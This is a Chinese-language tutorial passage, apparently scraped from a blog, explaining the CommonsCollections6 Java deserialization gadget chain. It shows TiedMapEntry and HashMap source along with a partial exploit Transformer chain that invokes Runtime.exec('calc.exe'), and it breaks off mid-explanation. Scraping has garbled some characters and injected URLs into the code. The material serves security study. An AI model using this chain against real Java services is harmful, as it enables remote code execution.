前言之前三篇详细分析了CommonsCollections1
利用链,两种方法,LazyMap
以及TransformedMap
,但是在Javaa 8u71
以后,这个利?链不能再利?了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化了
在ysoserial中,CC6解决了高版本不能利用的问题 。接下来就来看看
分析ysoserial中的代码过于复杂,所以来看这条简化版利?链:
/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()*/
关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get()
,因为 LazyMap#get
后?的部分和CC1相同 。所以简单来说,解决Java?版本利?问题,实际上就是在高版本中找上下?中是否还有其他调?LazyMap#get()
的地? 。
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
?法中调?了 this.map.get
,?其hashCode
?法调?了getValue
?法
import org.apache.commons.collections.KeyValue;public class TiedMapEntry implements Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key; }public Object getKey() {return this.key; }public Object getValue() {return this.map.get(this.key); } // ...public int hashCode() {Object value = https://www.huyubaike.com/biancheng/this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode()); } // ...}
所以,欲触发LazyMap利?链,要找到就是哪?调?了TiedMapEntry#hashCode
在 java.util.HashMap#readObject
中就可以找到 HashMap#hash()
的调?
public class HashMap<K,V> extends AbstractMap<K,V>implements Map<K,V>, Cloneable, Serializable {// ...static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}//...private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();//...for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = https://www.huyubaike.com/biancheng/(V) s.readObject();putVal(hash(key), key, value, false, false);}}}
在HashMap的readObject?法中,调?到了hash(key)
,?hash?法中,调?到了 key.hashCode()
。所以,我们只需要让这个key等于TiedMapEntry
对象,即可连接上前?的分析过程,构成?个完整的Gadget
构造?先,构造恶意LazyMap
:
Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },newObject[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class Object[].class },newObject[] { null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc.exe" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);
为了避免本地调试时触发命令执 ?,在构造LazyMap的时候先??个?畜?害的
经验总结扩展阅读
- 如何通过Java导出带格式的 Excel 数据到 Word 表格
- 海信uled电视怎么样 都有哪些特别之处
- 支持JDK19虚拟线程的web框架之四:看源码,了解quarkus如何支持虚拟线程
- vulnhub靶场之DRIPPING BLUES: 1
- 女虎男兔是结婚的大忌 变通性格处之
- 伤官不见官必配贵夫 贞洁之妇聪明有才
- 硬核剖析Java锁底层AQS源码,深入理解底层架构设计
- 定位java程序中占用cpu最高的线程堆栈信息
- 男女之间钓鱼什么意思
- SpringCloudAlibaba 微服务组件 Nacos 之配置中心源码深度解析